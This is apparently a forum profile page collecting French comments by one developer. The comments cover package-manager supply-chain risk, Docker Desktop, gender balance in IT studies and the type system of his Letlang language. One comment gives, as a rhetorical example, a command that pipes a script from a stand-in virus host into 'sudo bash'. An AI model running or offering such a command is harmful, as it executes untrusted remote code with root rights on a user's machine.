David Delassus a écrit 762 commentaires

  • [^] # Re: Personne n'est à l'abri

    Posté par  (site web personnel) . En réponse au lien A growing club of broken-by-design package managers. Évalué à 1. Dernière modification le 12 mai 2022 à 15:49.

    j'ai plus l'impression qu'il fait une comparaison entre les gestionnaires de paquets "langage" (pypi, npm, etc) et il compare leur organisation/fonctionnement à l'organisation/fonctionnement des dépôts de nos distribution

    Pas dans cet article en tout cas.

    Et la technologie est strictement la même :

    • archiver du code ou des binaires
    • télécharger cette archive
    • résolution des dépendances
    • base de données (via fs avec des metadata ou sqlite comme pkgin, ou autre) pour stocker ces infos
    • extraire l'archive quelque part

    Donc vraiment, c'est un abus de langage de parler du gestionnaire de paquet quand en vérité on parle du dépôt.

    https://link-society.com - https://kubirds.com - https://github.com/link-society/flowg

  • [^] # Re: Personne n'est à l'abri

    Posté par  (site web personnel) . En réponse au lien A growing club of broken-by-design package managers. Évalué à 4.

    Sauf qu'il met en garde contre l'utilisation des packages managers, pas des dépôts.

    C'est comme dire :

    Attention, curl c'est dangereux, tu peux faire curl http://mon-super-virus.com/fuck-you.sh | sudo bash

    https://link-society.com - https://kubirds.com - https://github.com/link-society/flowg

  • # Personne n'est à l'abri

    Posté par  (site web personnel) . En réponse au lien A growing club of broken-by-design package managers. Évalué à 10.

    Ah ça sent la pique gratuite à ceux qui râlent que son langage Hare n'a pas de gestionnaire de paquet.

    Mais mossieur drew, le problème n'est pas le gestionnaire de paquet, le problème c'est le dépôt communautaire.

    Et Linux n'est pas à l'abri : https://www.securityweek.com/arch-linux-aur-repository-compromised (2018)

    Tu prend un npm, un pip, un cargo, un whatever, et tu leur mets un dépôt à l'accès limité, contrôlé, etc… comme les dépôts officiels des distributions, tout de suite les supply-chain attack sont amoindries (pour ne pas dire anéanties, ça reste des humains après tout).

    Dans un monde idéal, l'organisation a un dépôt privé dans lequel elle intègre ses dépendances de manière auditée et contrôlée.

    A Décathlon par exemple, il y avait un repository Maven interne et une impossibilité d'utilise le repo public. Tu as besoin d'une lib qui est pas dispo ? Tu fais une demande à l'équipe en charge pour auditer la dep et l'intégrer.

    Tiens, bizarrement, ils ont pas de supply chain attack. Comme c'est étrange.

    DISCLAIMER: Toutes les organisations n'ont pas les moyens de mettre ça en place. Mais qu'on arrête de blamer les gestionnaires de paquets pour les problèmes de sécurités des DÉPÔTS PUBLIC.

    https://link-society.com - https://kubirds.com - https://github.com/link-society/flowg

  • # Merci

    Posté par  (site web personnel) . En réponse au journal Docker Desktop 4 Linux et rootless containers. Évalué à 4.

    J'ai pas grand chose à dire sur le sujet, à part merci de ce journal, merci du travail de Docker sur tout ses produits (Hub, Desktop, etc…), merci de tes réponses à tout ces commentaires.

    Pour info, j'ai migré de Linux (après de longues années sous Linux) à Windows pour le travail, et avec le WSL2, Git Bash, Hyper-V, etc… je suis surpris d'en être aussi satisfait. Docker Desktop s'intègre tellement bien avec toutes ces technologies, ce fut un plaisir à utiliser (malgré une perte de performance lors de l'utilisation de volume, mais je pense que c'est du à NTFS).

    C'est dire, avant mon setup sous Linux c'était docker + portainer, car oui j'aime bien la GUI et je passe pas toutes mes journées dans la console. Docker Desktop a complètement remplacé portainer, justement parce qu'il me laisse voir les conteneurs qui tournent, ainsi que les stack docker-compose. Je n'utilise pas l'intégration Kubernetes (je préfère KinD), mais je suis ravi de la voir présente.

    Pour info, quand Docker a annoncé rendre payant Docker Desktop pour les boites faisant plus de X de CA et ayant plus de Y employés, j'ai vu plein de gens dire "oulala il faut migrer, il faut aller voir ailleurs, comment osent ils vouloir monétiser leur travail propriétaire dont on profite gratuitement?"

    Pour ma part, je suis derrière vous, Docker forever <3

    https://link-society.com - https://kubirds.com - https://github.com/link-society/flowg

  • [^] # Re: Un titre peut en cacher un autre

    Posté par  (site web personnel) . En réponse au lien Conférence "Les freins à l’accès des filles aux filières informatiques et numériques du Lycée". Évalué à 5.

    Dans cette entreprise, et plus particulièrement au sein de notre "Business Unit" on avait une politique de tolérance 0 face aux discriminations en tout genre. Cela passait par des sensibilisations en tout genre lors de l'onboarding et en cas de problème rencontré en chemin.

    Si on avait un élément qui ne respectait pas ces directives, il était très vite écarté de la société, la hiérarchie nous laissait gérer ça nous même au niveau de la business unit puis au niveau des équipes.

    On avait en place un process ou chaque jour tu pouvais, sur volontariat, et de manière anonyme, signaler comment s'était passé ta journée (note de 0 à 5, 0 étant très mauvaise journée, 5 étant très bonne journée), en laissant optionnellement un commentaire.

    A la suite de ça, on compilait les informations pour détecter d'éventuels problèmes sous-jacent. Tu preux croire que tu as un bon environnement, mais si toute ta team passe que des mauvaises journées, il y a peut être un problème.

    Il y avait une atmosphère de sécurité dans le sens ou tu pouvais exprimer ton ressentit pleinement sans qu'on le remette en cause, ce genre de biais arrive de temps en temps, mais était très vite écarté justement grâce à cette atmosphère.

    Exemple tout bête, mais il était par exemple interdit d'être seul dans les bureaux sans au moins un talkie walkie remis à l'entrée pour que tu puisse contacter la sécurité immédiatement en cas de soucis. Et pendant les premiers confinements, ils avaient mis en place un suivi psychologique des employés en télétravail (on avait un collègue qui concrètement n'avait personne dans sa vie à part les collègues le travail, donc au bout de 3 jours on avait senti qu'il commençait déjà à se sentir mal).

    Malheureusement, ces mécanismes de bien être des employés n'étaient pas généralisés à la totalité de l'entreprise. Mais je n'ai jamais vu un tel respect envers autrui ailleurs qu'à cet endroit, et ça inspirait chacun à tendre vers cet idéal.

    Autre exemple tout bête, quand il y avait un problème en prod, on ne cherchait jamais un coupable (à croire que git blame était banni), on cherchait juste à résoudre le problème. Dans la mission que j'ai actuellement, je suis en train "d'éduquer" les devs à arrêter de dire "c'est ma faute, c'est moi qui ait écrit ce code", on s'en fou c'est pas ça qui va régler le problème.

    Bizarrement, quand on arrête de chercher un coupable, on évite toutes les railleries ce qui suivent envers cette personne, railleries qui d'expérience dans d'autres startups, tournent très vite à la "blague innocente" discriminatoire et / ou sexiste. Je mets entre guillemets car il n'y a jamais de blague innocente ( https://www.youtube.com/watch?v=o0ddhWWaFe0 ).

    Aucun de ces outils / mécanismes / etc.. n'est une étude scientifique, mais tu perçois nettement la différence entre du sexisme pas visible et pas de sexisme.

    https://link-society.com - https://kubirds.com - https://github.com/link-society/flowg

  • [^] # Re: Un titre peut en cacher un autre

    Posté par  (site web personnel) . En réponse au lien Conférence "Les freins à l’accès des filles aux filières informatiques et numériques du Lycée". Évalué à 4.

    Donc quand l'ensemble des collègues hommes ET femmes annoncent, unanimement, et anonymement, que l'environnement dans lequel on travail est très positifs, ne souffre d'aucune discrimination à ce jour, et que tous en sont très satisfait malgré la pression et le stress par période de l'année, on ne doit pas les croire ?

    On doit dire "non c'est irréaliste" ?

    Dans ce cas, si cette étude montre qu'en réalité il n'y a aucun frein, on devra assumer qu'elle est fausse ?

    J'ai pourtant bien insisté sur le fait que mon expérience était anecdotique, ce qui signifie que cela n'en fait pas une règle, et ne nie pas les problématiques systémiques.

    Mais se dire que de tels environnements n'existent pas pour seul raison qu'il existe des discriminations ailleurs, c'est ça qui pour moi est irréaliste.

    https://link-society.com - https://kubirds.com - https://github.com/link-society/flowg

  • [^] # Re: Un titre peut en cacher un autre

    Posté par  (site web personnel) . En réponse au lien Conférence "Les freins à l’accès des filles aux filières informatiques et numériques du Lycée". Évalué à 3.

    NON!
    La réalité, c'est que tu n'as aucune idée si le problème est "complètement absent". Éventuellement, tu peux savoir si le problème est très présent (et donc visible), ou bien pas visible. S'il n'est pas visible, il est soit absent, soit … pas visible.
    Le fait que tu crois sincèrement qu'il est complètement absent alors que tu n'as aucune preuve que c'est le cas ne fait que renforcer tes biais, et si une personne de cet environnement dirait qu'il ou elle a observé du sexisme, tu vas forcément, que tu le veuilles ou non, minimiser ce témoignage, voire même doucement renforcer en toi l'idée que "de nos jours, il y a de plus en plus de gens qui accusent de sexisme alors qu'il n'y en a pas".

    Euh, s'il te plait, tu peux t'abstenir de me prêter des propos, des croyances et des comportements alors que tu ne me connais pas ?

    Si le problème est présent et pas visible, il le devient quand tu discute avec les gens. Quand je dis que j'ai eu la chance de travailler dans un environnement ou le problème était absent, il était bien absent. Merci de ne pas nier mon expérience (certes anecdotique).

    Si tu veux savoir si le problème est complètement absent d'un environnement, la seule façon, c'est de faire une étude scientifique, avec un méthodologie spécifique pour éviter les biais.

    Ou avoir une relation saine et ouverte avec tes collègues, ce qui permet de discuter des problématiques humaines et métier sans apriori, et sans jugement.

    Mais bon, je sens que je vais pas débattre avec toi vu comment tu déformes et plie les propos dans ton sens, et pense avoir entièrement raison et que l'expérience d'autrui et nécessairement fausse.

    https://link-society.com - https://kubirds.com - https://github.com/link-society/flowg

  • [^] # Re: Un titre peut en cacher un autre

    Posté par  (site web personnel) . En réponse au lien Conférence "Les freins à l’accès des filles aux filières informatiques et numériques du Lycée". Évalué à 6.

    Merci pour ce commentaire.

    Trop de femmes évoluent dans un cadre professionnel sexiste, subissent des remarques ou situations qu'elles ne devraient pas vivre.

    Il me semble qu'il y a déjà de la législation en place pour contrer ce genre de problème, mais c'est vrai qu'elle n'est pas parfaite. J'ai eu la chance de travailler dans des environnements ou ce problème était complètement absent, ce qui me laisse penser que les mentalités ont quand même beaucoup évoluée. Il reste du chemin à faire certes.

    Quand tu imagines le milieu de l'informatique comme bondé d'ado boutonneux ça donne moyennement envie à ceux qui ne collent pas au cliché.

    Mais pourtant, en moyenne à l'âge que tu as lors de tes débuts en études supérieures (18 ans), tu n'as plus trop de boutons :P

    À 15 ans beaucoup ont du mal à se projeter dans l'avenir.

    A 9 ans je voulais être astronaute, à 12 ans je voulais fabriquer des locomotives, à 15 ans je voulais faire de la chimie, à 18-19 ans j'ai fait de ma passion (l'informatique) mon métier. A 25 ans je me suis lancé en indépendant, j'ai aujourd'hui 28 ans, et j'hésite parfois à laisser tomber la tech pour aller planter des tomates.

    C'est pas que les gamins de 15 ans qui ont du mal à se projeter.

    Et de nombreux conseillers d'orientation sont juste nuls

    J'ai jamais compris l'intérêt de ces personnes. Si tu présente à un enfant ou un ado (ou un adulte) différent sujets, sa curiosité va l'emmener naturellement vers l'un de ces sujets.

    Peut être cultiver la curiosité au lieu du préformatage à l'école fonctionnerait mieux ?

    Si un secteur a un déficit de femmes, essayer de mettre en avant ces femmes dans l'espace médiatique peut aider à réduire le cliché de la profession.

    Totalement d'accord, c'est d'ailleurs marrant car, selon moi, beaucoup de contributions gigantesques ont été faite par des femmes dans les matières scientifique, pour n'en citer que 2 (qui sont mes idoles) :

    • Marie Curie pour ses nombreuses contributions à la science, notamment pour sa fatale découverte du Polonium
    • Margaret Hamilton qui fut parti de l'équipe ayant conçu le software de la fusée Apollo qui emmena l'Homme sur la Lune et le ramena à la maison

    Petite photo d'ailleurs du code en question, que j'aimerais bien en faire un poster:

    margaret hamilton

    https://link-society.com - https://kubirds.com - https://github.com/link-society/flowg

  • [^] # Re: Modèle de conteneurisation

    Posté par  (site web personnel) . En réponse au journal Docker Desktop 4 Linux et rootless containers. Évalué à 4.

    Tout dépend de la techno de virtualisation, kvm est quand même très performant.

    De plus, il me semble bien plus simple de limiter la conso CPU et RAM d'une machine virtuelle (fait via la GUI de Docker Desktop).

    C'est tout à fait possible de le faire avec les cgroups, mais c'est tout de suite plus complexe pour l'utilisateur lambda.

    Et puis, il s'agit d'une première version, un port tel quel du code sous Linux. Peut-être que dans une future version, le "backend" sera suffisamment abstrait pour permettre d'utiliser un Docker hôte (ou tout autre remote Docker ?).

    https://link-society.com - https://kubirds.com - https://github.com/link-society/flowg

  • [^] # Re: Un titre peut en cacher un autre

    Posté par  (site web personnel) . En réponse au lien Conférence "Les freins à l’accès des filles aux filières informatiques et numériques du Lycée". Évalué à 6.

    ce dont a envie un ou une ado de 15 ans est 100% forgé par sa culture, son éducation, son milieu.

    Du coup, améliorer l'accès à la culture (bibliothèques, musées, théâtre, cinéma, …) et améliorer l'accès à l'éducation (université, bourses, …) semble le meilleur vecteur pour attaquer cette inégalité.

    Même dans un monde utopique ou tout le monde à un accès gratuit et illimité à la culture et aux études, je m'attend à voir une différence d'intérêt. Il me semble illusoire de vouloir tendre à tout prix vers un 50/50.

    Si X% de la population veut aller dans des filiales scientifiques, et que parmi ce X% il y a 30% de filles, 70% de garçons, le plus important c'est de leur permettre non ?

    En fait, j'ai même envie de poser la question : Aujourd'hui, qu'est-ce qui empêche les gens d'aller en filiale scientifique (ou autre) si ils ont envie ?

    Oui, c'est la question que pose le projet d'étude, mais je pense pas que la réponse soit quelque chose de contrôlable par l'Etat (sauf en imposant des quotas, mais du coup parmi les 70% de garçons, un certain nombre de pourra pas entrer dans leur filière de choix car ils sont né avec une bistoukette).

    Et si la réponse trouvée par l'étude c'est "la faute aux blockbusters de hollywood", on va faire quoi ? Interdire les cinémas de les diffuser ?

    En fait, peu importe la réponse trouvée par l'étude, c'est quoi l'action possible et non dictatoriale / sexiste / discriminatoire derrière pour tendre absolument vers ce 50/50 ?

    https://link-society.com - https://kubirds.com - https://github.com/link-society/flowg

  • # Un titre peut en cacher un autre

    Posté par  (site web personnel) . En réponse au lien Conférence "Les freins à l’accès des filles aux filières informatiques et numériques du Lycée". Évalué à 4.

    Je suis curieux, y-a-t-il eu des études sur le pourcentage d'intérêt garçon/fille pour telle ou telle filière ?

    Si les personnes n'ont pas envie, cela me semble être le premier gros frein.

    Maintenant, la question est, pourquoi souhaiterais-t-on forcer un 50/50 ? Si l'intérêt est de l'ordre de 30/70 par exemple, c'est vers 30/70 qu'il faudrait tendre du coup.

    https://link-society.com - https://kubirds.com - https://github.com/link-society/flowg

  • [^] # Re: Permettre d'envoyer les retours sans être contributeur

    Posté par  (site web personnel) . En réponse au journal [Letlang] Et si on rédigeait la spec ?. Évalué à 2.

    Oui effectivement, j'aimerais bien pouvoir ouvrir au moins les issues, mais tant que le hello world est pas exécutable et que j'ai pas choisi la licence, ca restera avec accès collaborateur.

    Merci pour le feedback, je vais corriger ça au plus vite :)

    https://link-society.com - https://kubirds.com - https://github.com/link-society/flowg

  • [^] # Re: théorie des ensembles pas naives

    Posté par  (site web personnel) . En réponse au journal [Letlang] Et si on rédigeait la spec ?. Évalué à 3.

    Autrement dit, quand il voit la valeur deux, il demande au programmeur : la considères tu comme un entier pair ou simplement comme un entier ?

    Peu importe, on est censé pouvoir additionner les deux.

    Sinon, je m'arrête là, il y a certaines notions qui semble t'échapper au sein de la théorie des types et des mathématiques en générale.

    Bonjour la condescendance. De une je n'ai jamais prétendu être un expert, de deux je présente un système de type inspiré de la théorie des ensembles, et non inspiré d'une quelconque théorie des types (car il y en a plusieurs).

    Je suis franchement étonné du nombre "d'expert" qui est venu critiquer une explication vulgarisée et simplifiée pour un public non matheux qui ne sert que d'introduction à un système de type, dont apparemment personne n'a lu la spec correctement car chacun pose des questions qui sont répondues dans cette même spec, et d'autres choisissent simplement d'ignorer le concept que je veux implémenter sous prétexte que la partie "math" n'est pas rigoureuse (c'était pas le but de faire un cours magistral).

    Non effectivement, j'ai pas envie de débattre avec ce genre de personne, alors remonte dans ta tour d'ivoire, et regarde moi de haut si ça te fait plaisir.

    https://link-society.com - https://kubirds.com - https://github.com/link-society/flowg

  • [^] # Re: théorie des ensembles pas naives

    Posté par  (site web personnel) . En réponse au journal [Letlang] Et si on rédigeait la spec ?. Évalué à 2.

    Je ne vois toujours pas en quoi ils n'ont pas de type au sens IT du terme.

    Il n'existe pas d'opération typeof qui retourne le type de l'objet, car il existe une infinité de collection distincte qui contiennent cet objet.

    Un type c'est un ensemble de valeurs (comme N, Q ou R)

    Ce qui n'est pas le cas dans la plupart des langages de programmation, en C, en C++, en Python, en Java, etc… le type est une propriété intrinsèque de la-dite valeur.

    ici deux est considéré comme de type Event.t et non comme int

    Sauf qu'en Letlang, deux est toujours un int et un number.

    mais on peut aussi le caster vers un int

    En Letlang il n'y a pas besoin de caster, l'opération + attend un number, elle reçoit un number, car deux est un number.

    C'est tout l'argument de ce système de type : c'est stupide de devoir caster quand la définition même de l'opération accepte cette valeur.

    Dans ton exemple, OCaml croit que l'on ne peut pas additionner des nombres pairs, ce qui est complètement faux.

    https://link-society.com - https://kubirds.com - https://github.com/link-society/flowg

  • [^] # Re: théorie des ensembles pas naives

    Posté par  (site web personnel) . En réponse au journal [Letlang] Et si on rédigeait la spec ?. Évalué à 2.

    Paramètre (input) ET valeur de retour (output).

    Les opérateurs sont aussi des fonctions sous le capot.

    Les expressions let introduisent du type checking supplémentaire (spec en cours de rédaction) :

    let a: six = add_five(1);
    let a < 0;  # TYPE CHECK ERROR
    

    https://link-society.com - https://kubirds.com - https://github.com/link-society/flowg

  • [^] # Re: théorie des ensembles pas naives

    Posté par  (site web personnel) . En réponse au journal [Letlang] Et si on rédigeait la spec ?. Évalué à 2.

    Sauf que dans l'exemple que j'ai donné, le type mod4 n'est pas un sous type de even.

    Je peux faire le même exemple avec :

    class even(n: int) {
      n % 2 = 0;
    }
    
    class mod3(n: int) {
      n % 3 = 0;
    }
    

    Avec 6 qui fait partie des deux, et 9 qui fait partie que de mod3.

    Après, tu peux le tourner dans tout les sens que tu veux pour essayer de lui assigner un type unique. Mais l'implémentation n'est pas faite comme ça. Donc ça ne sert un peu à rien.

    https://link-society.com - https://kubirds.com - https://github.com/link-society/flowg

  • [^] # Re: théorie des ensembles pas naives

    Posté par  (site web personnel) . En réponse au journal [Letlang] Et si on rédigeait la spec ?. Évalué à 2.

    https://letlang.dev/lep/005/#type-checking

    Le but c'est de faire un maximum à la compilation, mais on continue de le faire au runtime quand même (faut bien type-check les side effects aussi :P)

    Donc non, ce n'est pas valable que pour les constantes.

    https://link-society.com - https://kubirds.com - https://github.com/link-society/flowg

  • [^] # Re: théorie des ensembles pas naives

    Posté par  (site web personnel) . En réponse au journal [Letlang] Et si on rédigeait la spec ?. Évalué à 2.

    De ce point de vue de là, les objets de Letlang ont un type unique.

    Bah non, toujours pas, vu que Letlang défini un type comme étant une collection d'objet, et spécifie bien qu'un objet peut appartenir à plusieurs collections différentes.

    Je reprend un exemple donné dans un autre commentaire:

    class even(n: int) {
      n % 2 = 0;
    }
    
    class mod4(n: int) {
      n % 4 = 0;
    }
    

    L'objet 8 respecte donc tout les type-checks suivants:

    assert 8 is number;
    assert 8 is int;
    assert 8 is even;
    assert 8 is mod4;
    

    https://link-society.com - https://kubirds.com - https://github.com/link-society/flowg

  • [^] # Re: théorie des ensembles pas naives

    Posté par  (site web personnel) . En réponse au journal [Letlang] Et si on rédigeait la spec ?. Évalué à 2.

    Le type est déterminé par le fait que tu ait fait passer la valeur par un constructeur du type

    Non, le type n'est "que une fonction de validation". Cf un de mes articles précédent dans la série, et la section implémentation Rust de la spec.

    Par exemple:

    class even(n: int) {
      n % 2 = 0;
    }
    
    class mod4(n: int) {
      n % 4 = 0;
    }
    

    Ici, even et mod4 sont définis tout deux à partir de int et n'ont pas connaissance de l'autre.

    Et pourtant :

    8 is even;  # because 8 is int and 8 % 2 = 0 is true
    8 is mod4;  # becaues 8 is int and 8 % 4 = 0 is true
    

    Et voici l'implémentation Rust de number et int qui sont appelés lors de l'appel de is ou passage en paramètre d'une fonction :

    use crate::{Value, PrimitiveValue, Type};
    
    pub struct NumberType;
    
    impl Type for NumberType {
      fn has(&self, llval: &Value) -> bool {
        match llval {
          Value::Primitive(PrimitiveValue::Number(_)) => true,
          _ => false,
        }
      }
    }
    
    pub struct IntegerType;
    
    impl Type for IntegerType {
      fn has(&self, llval: &Value) -> bool {
        match llval {
          Value::Primitive(PrimitiveValue::Number(a)) => a.fract() == 0.0,
          _ => false,
        }
      }
    }

    Je pourrais très bien modifier ces implémentations pour dire que la string "1.5" est un nombre.

    https://link-society.com - https://kubirds.com - https://github.com/link-society/flowg

  • [^] # Re: théorie des ensembles pas naives

    Posté par  (site web personnel) . En réponse au journal [Letlang] Et si on rédigeait la spec ?. Évalué à 2.

    Devrais-je clarifier dans la LEP que quand je dis "ils n'ont pas de type" je parle de "type" au sens IT du terme?

    https://link-society.com - https://kubirds.com - https://github.com/link-society/flowg

  • [^] # Re: théorie des ensembles pas naives

    Posté par  (site web personnel) . En réponse au journal [Letlang] Et si on rédigeait la spec ?. Évalué à 2. Dernière modification le 09 mai 2022 à 17:03.

    Il faut voir les opérateurs du langage comme des fonctions infixes.

    Quand a / b a pour signature number / number -> number, a // b aura pour signature int // int -> int, ensuite c'est le type checking de letlang qui va valider les données en input et output ou lever une exception.

    La division euclidienne du type Rust f64 garantie que la sortie est un entier (frac(n) = 0). Du coup j'ai juste besoin de valider que a et b sont des int.

    https://doc.rust-lang.org/std/primitive.f64.html#method.div_euclid

    https://link-society.com - https://kubirds.com - https://github.com/link-society/flowg

  • [^] # Re: théorie des ensembles pas naives

    Posté par  (site web personnel) . En réponse au journal [Letlang] Et si on rédigeait la spec ?. Évalué à 2. Dernière modification le 09 mai 2022 à 16:41.

    Le type f64 de Rust fournit des fonctions pour faire de la division euclidienne, donc on peut imaginer des opérateurs différents :

    • a / b = float
    • a // b = int (division euclidienne)
    • a % b = int (reste de la division euclidienne)

    C'est pas encore spécifié, donc ça va peut être changer d'ici là.

    Pour le "x is part of the class y" je traduit ça par "x fait partie de la classe y" la ou "x is a part of the class y" se traduirait par "x est une partie de la classe y". Mais je vois la confusion, je vais voir pour remplacer par "is included" ou "is contained in". Merci :)

    https://link-society.com - https://kubirds.com - https://github.com/link-society/flowg

  • [^] # Re: théorie des ensembles pas naives

    Posté par  (site web personnel) . En réponse au journal [Letlang] Et si on rédigeait la spec ?. Évalué à 2.

    Oui, c'est bien, mais en Letlang int et number c'est f64 en Rust.

    Et f64 c'est pas N, c'est pas Q, c'est pas R, c'est https://fr.wikipedia.org/wiki/IEEE_754.

    int est défini comme ceci:

    class int(n: number) {
      frac(n) = 0;
    }
    

    On a donc bien le même objet qui appartient à deux ensembles.

    Si on peut arrêter la branlette intellectuelle et la guerre d'égo pour se recentrer sur le sujet, ça serait bien. Merci.

    https://link-society.com - https://kubirds.com - https://github.com/link-society/flowg

  • [^] # Re: théorie des ensembles pas naives

    Posté par  (site web personnel) . En réponse au journal [Letlang] Et si on rédigeait la spec ?. Évalué à 4.

    Moui

    Utilité de ce commentaire ?

    surtout pas très pertinent pour un système de types informatiques

    En quoi c'est pas pertinent ? Je parle de l'inspiration derrière le système de type afin de présenter le système de type justement qui diffère de la plupart des autres langages de programmation.

    Mais dire qu’il n’y a pas de “types” en mathématiques est toujours faux.

    Il n'y a pas de "type" au sens informatique du terme. Le "type" au sens mathématique du terme c'est l'appartenance à une collection muni ou non d'opérations. Et un objet n'a pas un unique type car c'est la définition de la collection qui détermine cette appartenance.

    Si tu dis ∀x ∈ ℚ tel que x = 42, ∀y ∈ ℝ tel que y = 42 : en toute rigueur x ≠ y.

    Mais en pratique c'est le cas. x et y désignent tout deux le même objet qui, par la définition de ℚ et ℝ, appartient aux 2 ensembles.

    Par abus les mathématiciens finissent par dire que x = y. Mais c’est pas si évident que ça et ça demande tout un travail algébrique pour arriver à dire que ce raccourci d’écriture est légitime.

    Et je n'ai pas besoin de rentrer dans ce niveau de détail pour expliquer que ce sont les classes Letlang qui déterminent quels objets sont inclus, et non l'inverse.

    Pour les espaces vectoriels tu es obligé de faire la distinction. Parler de 42 comme d’un vecteur ça veut rien dire, tu voulais probablement dire : 42 = 42 · 1 où le gras est un vecteur, en admettant que tu prennes la base canonique. La structure de l’espace vectoriel ℝ n’est pas celle du corps ℝ (le 42 non-gras : c’est le scalaire, c’est une coordonnée qui appartient par définition au corps ℝ, le 42 gras : c’est un vecteur, il appartient au ℝ-espace vectoriel ℝ). Le 42 que tu as donné c’est la coordonnée du vecteur : pour ce faire, tu as considéré ℝ muni d’une structure de (corps-ℝ)-espace vectoriel, avec une base qui plus est.

    C’est une erreur classique que de confondre les coordonnées d’un vecteur et le vecteur lui-même.

    Je me demande si tu as lu la même chose que j'ai écrit. A aucun moment je ne parle de 42 comme étant un vecteur.

    En vrai la seule mention de vecteur dans la spec c'est :

    To reduce code duplication, a class can require type parameters:

    class vector<T>(v: {x: T, y: T});
    

    According to the above definition:

    {x: 0, y: 0} is vector<int> = true;
    {x: 0, y: 0} is vector<string> = false;
    

    J'insiste sur le according to the above definition.

    Les entiers, les nombres à virgule flottante, la définition de vecteur ci-dessus, et beaucoup de choses en informatique, n'ont pas grand chose à voir avec leur contrepartie mathématique.

    Dans cette spec, je parle constamment de la structure des données, et de la définition des collections qui les contiennent. Je fais un rapide parallèle avec la théorie des ensembles ou c'est la définition de la collection qui détermine la structure des objets qu'elle contient.

    Alors oui, la partie mathématique n'est pas la plus rigoureuse qui soit, mais ce n'est pas le but en fait, le but c'est de présenter un concept.

    Le public auquel je m'adresse n'est pas forcément mathématicien, donc un peu de vulgarisation et quelques raccourcis, ça ne fait de mal à personne.

    Le vrai mathématicien lira ça et se dira "oui, bon c'est un peu simplifié et pas très rigoureux, mais soit".

    https://link-society.com - https://kubirds.com - https://github.com/link-society/flowg

  • [^] # Re: Verdure

    Posté par  (site web personnel) . En réponse au journal Challenge: Écrire la plus petite implémentation de /bin/true. Évalué à 4.

    Bof, on stocke quand même une entrée dans la "table des matières" du système de fichier pour référencer un fichier vide.

    De mémoire, un inode sur ext4 c'est 256 octets, alors que :

    $ sh -c "exit 0"
    

    C'est 14 octets pour la commande complète.

    https://link-society.com - https://kubirds.com - https://github.com/link-society/flowg